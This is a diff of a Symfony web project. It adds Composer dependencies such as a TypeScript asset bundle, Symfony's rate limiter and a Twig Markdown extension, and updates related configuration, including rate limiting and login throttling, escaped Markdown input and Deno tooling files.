"phpstan/extension-installer": "^1.4@stable",
|
||||||
|
"phpstan/phpstan": "^2.1.39@stable",
|
||||||
|
"tracy/tracy": "^2.8"
|
||||||
|
},
|
||||||
|
"type": "library",
|
||||||
|
"extra": {
|
||||||
|
"branch-alias": {
|
||||||
|
"dev-master": "1.3-dev"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"autoload": {
|
||||||
|
"psr-4": {
|
||||||
|
"Nette\\": "src"
|
||||||
|
},
|
||||||
|
"classmap": [
|
||||||
|
"src/"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"notification-url": "https://packagist.org/downloads/",
|
||||||
|
"license": [
|
||||||
|
"BSD-3-Clause",
|
||||||
|
"GPL-2.0-only",
|
||||||
|
"GPL-3.0-only"
|
||||||
|
],
|
||||||
|
"authors": [
|
||||||
|
{
|
||||||
|
"name": "David Grudl",
|
||||||
|
"homepage": "https://davidgrudl.com"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Nette Community",
|
||||||
|
"homepage": "https://nette.org/contributors"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"description": "📐 Nette Schema: validating data structures against a given Schema.",
|
||||||
|
"homepage": "https://nette.org",
|
||||||
|
"keywords": [
|
||||||
|
"config",
|
||||||
|
"nette"
|
||||||
|
],
|
||||||
|
"support": {
|
||||||
|
"issues": "https://github.com/nette/schema/issues",
|
||||||
|
"source": "https://github.com/nette/schema/tree/v1.3.5"
|
||||||
|
},
|
||||||
|
"time": "2026-02-23T03:47:12+00:00"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "nette/utils",
|
||||||
|
"version": "v4.1.4",
|
||||||
|
"source": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/nette/utils.git",
|
||||||
|
"reference": "7da6c396d7ebe142bc857c20479d5e70a5e1aac7"
|
||||||
|
},
|
||||||
|
"dist": {
|
||||||
|
"type": "zip",
|
||||||
|
"url": "https://api.github.com/repos/nette/utils/zipball/7da6c396d7ebe142bc857c20479d5e70a5e1aac7",
|
||||||
|
"reference": "7da6c396d7ebe142bc857c20479d5e70a5e1aac7",
|
||||||
|
"shasum": ""
|
||||||
|
},
|
||||||
|
"require": {
|
||||||
|
"php": "8.2 - 8.5"
|
||||||
|
},
|
||||||
|
"conflict": {
|
||||||
|
"nette/finder": "<3",
|
||||||
|
"nette/schema": "<1.2.2"
|
||||||
|
},
|
||||||
|
"require-dev": {
|
||||||
|
"jetbrains/phpstorm-attributes": "^1.2",
|
||||||
|
"nette/phpstan-rules": "^1.0",
|
||||||
|
"nette/tester": "^2.5",
|
||||||
|
"phpstan/extension-installer": "^1.4@stable",
|
||||||
|
"phpstan/phpstan": "^2.1@stable",
|
||||||
|
"tracy/tracy": "^2.9"
|
||||||
|
},
|
||||||
|
"suggest": {
|
||||||
|
"ext-gd": "to use Image",
|
||||||
|
"ext-iconv": "to use Strings::webalize(), toAscii(), chr() and reverse()",
|
||||||
|
"ext-intl": "to use Strings::webalize(), toAscii(), normalize() and compare()",
|
||||||
|
"ext-json": "to use Nette\\Utils\\Json",
|
||||||
|
"ext-mbstring": "to use Strings::lower() etc...",
|
||||||
|
"ext-tokenizer": "to use Nette\\Utils\\Reflection::getUseStatements()"
|
||||||
|
},
|
||||||
|
"type": "library",
|
||||||
|
"extra": {
|
||||||
|
"branch-alias": {
|
||||||
|
"dev-master": "4.1-dev"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"autoload": {
|
||||||
|
"psr-4": {
|
||||||
|
"Nette\\": "src"
|
||||||
|
},
|
||||||
|
"classmap": [
|
||||||
|
"src/"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"notification-url": "https://packagist.org/downloads/",
|
||||||
|
"license": [
|
||||||
|
"BSD-3-Clause",
|
||||||
|
"GPL-2.0-only",
|
||||||
|
"GPL-3.0-only"
|
||||||
|
],
|
||||||
|
"authors": [
|
||||||
|
{
|
||||||
|
"name": "David Grudl",
|
||||||
|
"homepage": "https://davidgrudl.com"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Nette Community",
|
||||||
|
"homepage": "https://nette.org/contributors"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"description": "🛠 Nette Utils: lightweight utilities for string & array manipulation, image handling, safe JSON encoding/decoding, validation, slug or strong password generating etc.",
|
||||||
|
"homepage": "https://nette.org",
|
||||||
|
"keywords": [
|
||||||
|
"array",
|
||||||
|
"core",
|
||||||
|
"datetime",
|
||||||
|
"images",
|
||||||
|
"json",
|
||||||
|
"nette",
|
||||||
|
"paginator",
|
||||||
|
"password",
|
||||||
|
"slugify",
|
||||||
|
"string",
|
||||||
|
"unicode",
|
||||||
|
"utf-8",
|
||||||
|
"utility",
|
||||||
|
"validation"
|
||||||
|
],
|
||||||
|
"support": {
|
||||||
|
"issues": "https://github.com/nette/utils/issues",
|
||||||
|
"source": "https://github.com/nette/utils/tree/v4.1.4"
|
||||||
|
},
|
||||||
|
"time": "2026-05-11T20:49:54+00:00"
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"name": "phpdocumentor/reflection-common",
|
"name": "phpdocumentor/reflection-common",
|
||||||
"version": "2.2.0",
|
"version": "2.2.0",
|
||||||
@@ -2751,6 +3173,62 @@
|
|||||||
},
|
},
|
||||||
"time": "2019-03-08T08:55:37+00:00"
|
"time": "2019-03-08T08:55:37+00:00"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"name": "sensiolabs/typescript-bundle",
|
||||||
|
"version": "v0.2.2",
|
||||||
|
"source": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/sensiolabs/AssetMapperTypeScriptBundle.git",
|
||||||
|
"reference": "b4a498a2b1dd699fd4ea95ae9dfa30ebe77cc8ce"
|
||||||
|
},
|
||||||
|
"dist": {
|
||||||
|
"type": "zip",
|
||||||
|
"url": "https://api.github.com/repos/sensiolabs/AssetMapperTypeScriptBundle/zipball/b4a498a2b1dd699fd4ea95ae9dfa30ebe77cc8ce",
|
||||||
|
"reference": "b4a498a2b1dd699fd4ea95ae9dfa30ebe77cc8ce",
|
||||||
|
"shasum": ""
|
||||||
|
},
|
||||||
|
"require": {
|
||||||
|
"php": ">=8.1",
|
||||||
|
"symfony/asset-mapper": "^6.3|^7.0|^8.0",
|
||||||
|
"symfony/console": "^6.3|^7.0|^8.0",
|
||||||
|
"symfony/http-client": "^6.3|^7.0|^8.0",
|
||||||
|
"symfony/process": "^6.3|^7.0|^8.0"
|
||||||
|
},
|
||||||
|
"require-dev": {
|
||||||
|
"phpstan/phpstan": "^1",
|
||||||
|
"phpstan/phpstan-symfony": "^1.3",
|
||||||
|
"phpunit/phpunit": "^10.5",
|
||||||
|
"symfony/filesystem": "^6.3|^7.0|^8.0",
|
||||||
|
"symfony/framework-bundle": "^6.3|^7.0|^8.0"
|
||||||
|
},
|
||||||
|
"type": "symfony-bundle",
|
||||||
|
"autoload": {
|
||||||
|
"psr-4": {
|
||||||
|
"Sensiolabs\\TypeScriptBundle\\": "src/"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"notification-url": "https://packagist.org/downloads/",
|
||||||
|
"license": [
|
||||||
|
"MIT"
|
||||||
|
],
|
||||||
|
"authors": [
|
||||||
|
{
|
||||||
|
"name": "Maelan LE BORGNE",
|
||||||
|
"homepage": "https://github.com/maelanleborgne"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"description": "TypeScript support for Symfony + AssetMapper",
|
||||||
|
"homepage": "https://github.com/sensiolabs/AssetMapperTypeScriptBundle",
|
||||||
|
"keywords": [
|
||||||
|
"asset-mapper",
|
||||||
|
"typescript"
|
||||||
|
],
|
||||||
|
"support": {
|
||||||
|
"issues": "https://github.com/sensiolabs/AssetMapperTypeScriptBundle/issues",
|
||||||
|
"source": "https://github.com/sensiolabs/AssetMapperTypeScriptBundle/tree/v0.2.2"
|
||||||
|
},
|
||||||
|
"time": "2025-08-28T10:10:44+00:00"
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"name": "sentry/sentry",
|
"name": "sentry/sentry",
|
||||||
"version": "4.29.0",
|
"version": "4.29.0",
|
||||||
@@ -6385,6 +6863,80 @@
|
|||||||
],
|
],
|
||||||
"time": "2026-05-29T05:06:50+00:00"
|
"time": "2026-05-29T05:06:50+00:00"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"name": "symfony/rate-limiter",
|
||||||
|
"version": "v8.1.1",
|
||||||
|
"source": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/symfony/rate-limiter.git",
|
||||||
|
"reference": "dd8f48286c000b8511b9413105f4118c8c2a4bd6"
|
||||||
|
},
|
||||||
|
"dist": {
|
||||||
|
"type": "zip",
|
||||||
|
"url": "https://api.github.com/repos/symfony/rate-limiter/zipball/dd8f48286c000b8511b9413105f4118c8c2a4bd6",
|
||||||
|
"reference": "dd8f48286c000b8511b9413105f4118c8c2a4bd6",
|
||||||
|
"shasum": ""
|
||||||
|
},
|
||||||
|
"require": {
|
||||||
|
"php": ">=8.4.1",
|
||||||
|
"symfony/options-resolver": "^7.4|^8.0"
|
||||||
|
},
|
||||||
|
"require-dev": {
|
||||||
|
"psr/cache": "^1.0|^2.0|^3.0",
|
||||||
|
"symfony/lock": "^7.4|^8.0"
|
||||||
|
},
|
||||||
|
"type": "library",
|
||||||
|
"autoload": {
|
||||||
|
"psr-4": {
|
||||||
|
"Symfony\\Component\\RateLimiter\\": ""
|
||||||
|
},
|
||||||
|
"exclude-from-classmap": [
|
||||||
|
"/Tests/"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"notification-url": "https://packagist.org/downloads/",
|
||||||
|
"license": [
|
||||||
|
"MIT"
|
||||||
|
],
|
||||||
|
"authors": [
|
||||||
|
{
|
||||||
|
"name": "Wouter de Jong",
|
||||||
|
"email": "wouter@wouterj.nl"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Symfony Community",
|
||||||
|
"homepage": "https://symfony.com/contributors"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"description": "Provides a Token Bucket implementation to rate limit input and output in your application",
|
||||||
|
"homepage": "https://symfony.com",
|
||||||
|
"keywords": [
|
||||||
|
"limiter",
|
||||||
|
"rate-limiter"
|
||||||
|
],
|
||||||
|
"support": {
|
||||||
|
"source": "https://github.com/symfony/rate-limiter/tree/v8.1.1"
|
||||||
|
},
|
||||||
|
"funding": [
|
||||||
|
{
|
||||||
|
"url": "https://symfony.com/sponsor",
|
||||||
|
"type": "custom"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://github.com/fabpot",
|
||||||
|
"type": "github"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://github.com/nicolas-grekas",
|
||||||
|
"type": "github"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
|
||||||
|
"type": "tidelift"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"time": "2026-06-09T11:06:24+00:00"
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"name": "symfony/routing",
|
"name": "symfony/routing",
|
||||||
"version": "v8.1.0",
|
"version": "v8.1.0",
|
||||||
@@ -8711,6 +9263,78 @@
|
|||||||
],
|
],
|
||||||
"time": "2026-05-19T20:44:48+00:00"
|
"time": "2026-05-19T20:44:48+00:00"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"name": "twig/markdown-extra",
|
||||||
|
"version": "v3.28.0",
|
||||||
|
"source": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/twigphp/markdown-extra.git",
|
||||||
|
"reference": "5f7b27e41a382fc988fffa6e588d8f9d55b9d896"
|
||||||
|
},
|
||||||
|
"dist": {
|
||||||
|
"type": "zip",
|
||||||
|
"url": "https://api.github.com/repos/twigphp/markdown-extra/zipball/5f7b27e41a382fc988fffa6e588d8f9d55b9d896",
|
||||||
|
"reference": "5f7b27e41a382fc988fffa6e588d8f9d55b9d896",
|
||||||
|
"shasum": ""
|
||||||
|
},
|
||||||
|
"require": {
|
||||||
|
"php": ">=8.1.0",
|
||||||
|
"symfony/deprecation-contracts": "^2.5|^3",
|
||||||
|
"twig/twig": "^3.13|^4.0"
|
||||||
|
},
|
||||||
|
"require-dev": {
|
||||||
|
"erusev/parsedown": "dev-master as 1.x-dev",
|
||||||
|
"league/commonmark": "^2.7",
|
||||||
|
"league/html-to-markdown": "^4.8|^5.0",
|
||||||
|
"michelf/php-markdown": "^1.8|^2.0",
|
||||||
|
"symfony/phpunit-bridge": "^6.4|^7.0"
|
||||||
|
},
|
||||||
|
"type": "library",
|
||||||
|
"autoload": {
|
||||||
|
"files": [
|
||||||
|
"Resources/functions.php"
|
||||||
|
],
|
||||||
|
"psr-4": {
|
||||||
|
"Twig\\Extra\\Markdown\\": ""
|
||||||
|
},
|
||||||
|
"exclude-from-classmap": [
|
||||||
|
"/Tests/"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"notification-url": "https://packagist.org/downloads/",
|
||||||
|
"license": [
|
||||||
|
"MIT"
|
||||||
|
],
|
||||||
|
"authors": [
|
||||||
|
{
|
||||||
|
"name": "Fabien Potencier",
|
||||||
|
"email": "fabien@symfony.com",
|
||||||
|
"homepage": "http://fabien.potencier.org",
|
||||||
|
"role": "Lead Developer"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"description": "A Twig extension for Markdown",
|
||||||
|
"homepage": "https://twig.symfony.com",
|
||||||
|
"keywords": [
|
||||||
|
"html",
|
||||||
|
"markdown",
|
||||||
|
"twig"
|
||||||
|
],
|
||||||
|
"support": {
|
||||||
|
"source": "https://github.com/twigphp/markdown-extra/tree/v3.28.0"
|
||||||
|
},
|
||||||
|
"funding": [
|
||||||
|
{
|
||||||
|
"url": "https://github.com/fabpot",
|
||||||
|
"type": "github"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://tidelift.com/funding/github/packagist/twig/twig",
|
||||||
|
"type": "tidelift"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"time": "2026-06-05T19:47:22+00:00"
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"name": "twig/twig",
|
"name": "twig/twig",
|
||||||
"version": "v3.28.0",
|
"version": "v3.28.0",
|
||||||
@@ -9408,16 +10032,16 @@
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
"name": "friendsofphp/php-cs-fixer",
|
"name": "friendsofphp/php-cs-fixer",
|
||||||
"version": "v3.95.12",
|
"version": "v3.95.13",
|
||||||
"source": {
|
"source": {
|
||||||
"type": "git",
|
"type": "git",
|
||||||
"url": "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer.git",
|
"url": "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer.git",
|
||||||
"reference": "b1b9055997a98dce3c2338e884626e718a25a923"
|
"reference": "ea941114a002eb5e5876f190223deec1066c482c"
|
||||||
},
|
},
|
||||||
"dist": {
|
"dist": {
|
||||||
"type": "zip",
|
"type": "zip",
|
||||||
"url": "https://api.github.com/repos/PHP-CS-Fixer/PHP-CS-Fixer/zipball/b1b9055997a98dce3c2338e884626e718a25a923",
|
"url": "https://api.github.com/repos/PHP-CS-Fixer/PHP-CS-Fixer/zipball/ea941114a002eb5e5876f190223deec1066c482c",
|
||||||
"reference": "b1b9055997a98dce3c2338e884626e718a25a923",
|
"reference": "ea941114a002eb5e5876f190223deec1066c482c",
|
||||||
"shasum": ""
|
"shasum": ""
|
||||||
},
|
},
|
||||||
"require": {
|
"require": {
|
||||||
@@ -9501,7 +10125,7 @@
|
|||||||
],
|
],
|
||||||
"support": {
|
"support": {
|
||||||
"issues": "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer/issues",
|
"issues": "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer/issues",
|
||||||
"source": "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer/tree/v3.95.12"
|
"source": "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer/tree/v3.95.13"
|
||||||
},
|
},
|
||||||
"funding": [
|
"funding": [
|
||||||
{
|
{
|
||||||
@@ -9509,7 +10133,7 @@
|
|||||||
"type": "github"
|
"type": "github"
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
"time": "2026-07-07T13:29:36+00:00"
|
"time": "2026-07-10T09:23:21+00:00"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"name": "myclabs/deep-copy",
|
"name": "myclabs/deep-copy",
|
||||||
@@ -12961,7 +13585,9 @@
|
|||||||
"platform": {
|
"platform": {
|
||||||
"php": ">=8.5",
|
"php": ">=8.5",
|
||||||
"ext-ctype": "*",
|
"ext-ctype": "*",
|
||||||
"ext-iconv": "*"
|
"ext-iconv": "*",
|
||||||
|
"ext-intl": "*",
|
||||||
|
"ext-zip": "*"
|
||||||
},
|
},
|
||||||
"platform-dev": {},
|
"platform-dev": {},
|
||||||
"plugin-api-version": "2.9.0"
|
"plugin-api-version": "2.9.0"
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ use DAMA\DoctrineTestBundle\DAMADoctrineTestBundle;
|
|||||||
use Doctrine\Bundle\DoctrineBundle\DoctrineBundle;
|
use Doctrine\Bundle\DoctrineBundle\DoctrineBundle;
|
||||||
use Doctrine\Bundle\FixturesBundle\DoctrineFixturesBundle;
|
use Doctrine\Bundle\FixturesBundle\DoctrineFixturesBundle;
|
||||||
use Doctrine\Bundle\MigrationsBundle\DoctrineMigrationsBundle;
|
use Doctrine\Bundle\MigrationsBundle\DoctrineMigrationsBundle;
|
||||||
|
use Sensiolabs\TypeScriptBundle\SensiolabsTypeScriptBundle;
|
||||||
use Sentry\SentryBundle\SentryBundle;
|
use Sentry\SentryBundle\SentryBundle;
|
||||||
use Stof\DoctrineExtensionsBundle\StofDoctrineExtensionsBundle;
|
use Stof\DoctrineExtensionsBundle\StofDoctrineExtensionsBundle;
|
||||||
use Symfony\Bundle\FrameworkBundle\FrameworkBundle;
|
use Symfony\Bundle\FrameworkBundle\FrameworkBundle;
|
||||||
@@ -38,4 +39,5 @@ return [
|
|||||||
DAMADoctrineTestBundle::class => ['test' => true],
|
DAMADoctrineTestBundle::class => ['test' => true],
|
||||||
StofDoctrineExtensionsBundle::class => ['all' => true],
|
StofDoctrineExtensionsBundle::class => ['all' => true],
|
||||||
SymfonyCastsResetPasswordBundle::class => ['all' => true],
|
SymfonyCastsResetPasswordBundle::class => ['all' => true],
|
||||||
|
SensiolabsTypeScriptBundle::class => ['all' => true],
|
||||||
];
|
];
|
||||||
|
|||||||
@@ -6,8 +6,12 @@ framework:
|
|||||||
excluded_patterns:
|
excluded_patterns:
|
||||||
- '*/assets/styles/_*.scss'
|
- '*/assets/styles/_*.scss'
|
||||||
- '*/assets/styles/**/_*.scss'
|
- '*/assets/styles/**/_*.scss'
|
||||||
|
- '*/assets/**/*_test.ts'
|
||||||
|
- '*/assets/types/*.d.ts'
|
||||||
missing_import_mode: strict
|
missing_import_mode: strict
|
||||||
|
|
||||||
|
sensiolabs_typescript:
|
||||||
|
source_dir: ['%kernel.project_dir%/assets']
|
||||||
|
|
||||||
when@prod:
|
when@prod:
|
||||||
framework:
|
framework:
|
||||||
|
|||||||
@@ -9,6 +9,13 @@ framework:
|
|||||||
enabled: true
|
enabled: true
|
||||||
#esi: true
|
#esi: true
|
||||||
#fragments: true
|
#fragments: true
|
||||||
|
rate_limiter:
|
||||||
|
# Throttles guesses against the public season-code entry point (config/packages/security.yaml
|
||||||
|
# handles throttling for the backoffice /login form separately).
|
||||||
|
season_code:
|
||||||
|
policy: sliding_window
|
||||||
|
limit: 20
|
||||||
|
interval: '1 minute'
|
||||||
when@prod:
|
when@prod:
|
||||||
framework:
|
framework:
|
||||||
# shortcut for private IP address ranges of your proxy
|
# shortcut for private IP address ranges of your proxy
|
||||||
@@ -21,3 +28,6 @@ when@test:
|
|||||||
test: true
|
test: true
|
||||||
session:
|
session:
|
||||||
storage_factory_id: session.storage.factory.mock_file
|
storage_factory_id: session.storage.factory.mock_file
|
||||||
|
rate_limiter:
|
||||||
|
season_code:
|
||||||
|
limit: 3
|
||||||
|
|||||||
@@ -27,9 +27,12 @@ security:
|
|||||||
remember_me:
|
remember_me:
|
||||||
secret: '%kernel.secret%'
|
secret: '%kernel.secret%'
|
||||||
lifetime: 604800 # 1 week in seconds
|
lifetime: 604800 # 1 week in seconds
|
||||||
|
login_throttling:
|
||||||
|
max_attempts: 5
|
||||||
|
|
||||||
access_control:
|
access_control:
|
||||||
- { path: ^/admin, roles: ROLE_ADMIN }
|
- { path: ^/admin, roles: ROLE_ADMIN }
|
||||||
|
- { path: ^/backoffice/releases$, roles: PUBLIC_ACCESS }
|
||||||
- { path: ^/backoffice, roles: IS_AUTHENTICATED }
|
- { path: ^/backoffice, roles: IS_AUTHENTICATED }
|
||||||
|
|
||||||
when@test:
|
when@test:
|
||||||
@@ -42,3 +45,7 @@ when@test:
|
|||||||
cost: 4 # Lowest possible value for bcrypt
|
cost: 4 # Lowest possible value for bcrypt
|
||||||
time_cost: 3 # Lowest possible value for argon
|
time_cost: 3 # Lowest possible value for argon
|
||||||
memory_cost: 10 # Lowest possible value for argon
|
memory_cost: 10 # Lowest possible value for argon
|
||||||
|
firewalls:
|
||||||
|
main:
|
||||||
|
login_throttling:
|
||||||
|
max_attempts: 2
|
||||||
|
|||||||
@@ -0,0 +1,8 @@
|
|||||||
|
twig_extra:
|
||||||
|
commonmark:
|
||||||
|
allow_unsafe_links: false
|
||||||
|
html_input: escape
|
||||||
|
|
||||||
|
services:
|
||||||
|
League\CommonMark\Extension\Autolink\AutolinkExtension:
|
||||||
|
tags: ['twig.markdown.league_extension']
|
||||||
Generated
+13
-2
@@ -629,7 +629,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* }>,
|
* }>,
|
||||||
* },
|
* },
|
||||||
* rate_limiter?: bool|array{ // Rate limiter configuration
|
* rate_limiter?: bool|array{ // Rate limiter configuration
|
||||||
* enabled?: bool|Param, // Default: false
|
* enabled?: bool|Param, // Default: true
|
||||||
* limiters?: array<string, array{ // Default: []
|
* limiters?: array<string, array{ // Default: []
|
||||||
* lock_factory?: scalar|Param|null, // The service ID of the lock factory used by this limiter (or null to disable locking). // Default: "auto"
|
* lock_factory?: scalar|Param|null, // The service ID of the lock factory used by this limiter (or null to disable locking). // Default: "auto"
|
||||||
* cache_pool?: scalar|Param|null, // The cache pool to use for storing the current limiter state. // Default: "cache.rate_limiter"
|
* cache_pool?: scalar|Param|null, // The cache pool to use for storing the current limiter state. // Default: "cache.rate_limiter"
|
||||||
@@ -1271,7 +1271,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* enabled?: bool|Param, // Default: false
|
* enabled?: bool|Param, // Default: false
|
||||||
* },
|
* },
|
||||||
* markdown?: bool|array{
|
* markdown?: bool|array{
|
||||||
* enabled?: bool|Param, // Default: false
|
* enabled?: bool|Param, // Default: true
|
||||||
* },
|
* },
|
||||||
* intl?: bool|array{
|
* intl?: bool|array{
|
||||||
* enabled?: bool|Param, // Default: true
|
* enabled?: bool|Param, // Default: true
|
||||||
@@ -1496,6 +1496,13 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* throttle_limit?: int|Param, // Another password reset cannot be made faster than this throttle time in seconds. // Default: 3600
|
* throttle_limit?: int|Param, // Another password reset cannot be made faster than this throttle time in seconds. // Default: 3600
|
||||||
* enable_garbage_collection?: bool|Param, // Enable/Disable automatic garbage collection. // Default: true
|
* enable_garbage_collection?: bool|Param, // Enable/Disable automatic garbage collection. // Default: true
|
||||||
* }
|
* }
|
||||||
|
* @psalm-type SensiolabsTypescriptConfig = array{
|
||||||
|
* source_dir?: list<scalar|Param|null>,
|
||||||
|
* binary_download_dir?: scalar|Param|null, // The directory where the SWC binary will be downloaded // Default: "%kernel.project_dir%/var"
|
||||||
|
* swc_binary?: scalar|Param|null, // The SWC binary to use // Default: null
|
||||||
|
* swc_config_file?: scalar|Param|null, // Path to .swcrc configuration file to use // Default: "%kernel.project_dir%/.swcrc"
|
||||||
|
* swc_version?: scalar|Param|null, // The SWC version to use // Default: "v1.3.92"
|
||||||
|
* }
|
||||||
* @psalm-type ConfigType = array{
|
* @psalm-type ConfigType = array{
|
||||||
* imports?: ImportsConfig,
|
* imports?: ImportsConfig,
|
||||||
* parameters?: ParametersConfig,
|
* parameters?: ParametersConfig,
|
||||||
@@ -1512,6 +1519,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* turbo?: TurboConfig,
|
* turbo?: TurboConfig,
|
||||||
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
||||||
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
|
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
|
||||||
|
* sensiolabs_typescript?: SensiolabsTypescriptConfig,
|
||||||
* "when@dev"?: array{
|
* "when@dev"?: array{
|
||||||
* imports?: ImportsConfig,
|
* imports?: ImportsConfig,
|
||||||
* parameters?: ParametersConfig,
|
* parameters?: ParametersConfig,
|
||||||
@@ -1531,6 +1539,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* turbo?: TurboConfig,
|
* turbo?: TurboConfig,
|
||||||
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
||||||
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
|
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
|
||||||
|
* sensiolabs_typescript?: SensiolabsTypescriptConfig,
|
||||||
* },
|
* },
|
||||||
* "when@prod"?: array{
|
* "when@prod"?: array{
|
||||||
* imports?: ImportsConfig,
|
* imports?: ImportsConfig,
|
||||||
@@ -1549,6 +1558,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* turbo?: TurboConfig,
|
* turbo?: TurboConfig,
|
||||||
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
||||||
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
|
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
|
||||||
|
* sensiolabs_typescript?: SensiolabsTypescriptConfig,
|
||||||
* },
|
* },
|
||||||
* "when@test"?: array{
|
* "when@test"?: array{
|
||||||
* imports?: ImportsConfig,
|
* imports?: ImportsConfig,
|
||||||
@@ -1568,6 +1578,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* dama_doctrine_test?: DamaDoctrineTestConfig,
|
* dama_doctrine_test?: DamaDoctrineTestConfig,
|
||||||
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
|
||||||
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
|
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
|
||||||
|
* sensiolabs_typescript?: SensiolabsTypescriptConfig,
|
||||||
* },
|
* },
|
||||||
* ...<string, ExtensionType|array{ // extra keys must follow the when@%env% pattern or match an extension alias
|
* ...<string, ExtensionType|array{ // extra keys must follow the when@%env% pattern or match an extension alias
|
||||||
* imports?: ImportsConfig,
|
* imports?: ImportsConfig,
|
||||||
|
|||||||
@@ -0,0 +1,33 @@
|
|||||||
|
{
|
||||||
|
"exclude": ["assets/vendor/"],
|
||||||
|
"compilerOptions": {
|
||||||
|
"lib": ["deno.window", "dom", "dom.iterable"],
|
||||||
|
"strict": true,
|
||||||
|
"noImplicitOverride": false,
|
||||||
|
"types": ["./assets/types/global.d.ts"]
|
||||||
|
},
|
||||||
|
"imports": {
|
||||||
|
"@hotwired/stimulus": "npm:@hotwired/stimulus@^3.2.2",
|
||||||
|
"@hotwired/turbo": "npm:@hotwired/turbo@^8.0.23",
|
||||||
|
"bootstrap": "npm:bootstrap@^5.3.8",
|
||||||
|
"@sentry/browser": "npm:@sentry/browser@^10.63.0",
|
||||||
|
"@std/assert": "jsr:@std/assert@^1.0.19"
|
||||||
|
},
|
||||||
|
"fmt": {
|
||||||
|
"include": ["assets/"],
|
||||||
|
"exclude": ["assets/vendor/", "assets/styles/", "assets/img/"],
|
||||||
|
"singleQuote": true,
|
||||||
|
"indentWidth": 4
|
||||||
|
},
|
||||||
|
"lint": {
|
||||||
|
"include": ["assets/"],
|
||||||
|
"exclude": ["assets/vendor/"],
|
||||||
|
"rules": {
|
||||||
|
"exclude": ["no-window", "no-window-prefix"]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"test": {
|
||||||
|
"include": ["assets/"],
|
||||||
|
"exclude": ["assets/vendor/"]
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,96 @@
|
|||||||
|
{
|
||||||
|
"version": "5",
|
||||||
|
"specifiers": {
|
||||||
|
"jsr:@std/assert@*": "1.0.19",
|
||||||
|
"jsr:@std/assert@^1.0.19": "1.0.19",
|
||||||
|
"jsr:@std/internal@^1.0.12": "1.0.14",
|
||||||
|
"npm:@hotwired/stimulus@^3.2.2": "3.2.2",
|
||||||
|
"npm:@hotwired/turbo@^8.0.23": "8.0.23",
|
||||||
|
"npm:@sentry/browser@^10.63.0": "10.65.0",
|
||||||
|
"npm:bootstrap@^5.3.8": "5.3.8_@popperjs+core@2.11.8"
|
||||||
|
},
|
||||||
|
"jsr": {
|
||||||
|
"@std/assert@1.0.19": {
|
||||||
|
"integrity": "eaada96ee120cb980bc47e040f82814d786fe8162ecc53c91d8df60b8755991e",
|
||||||
|
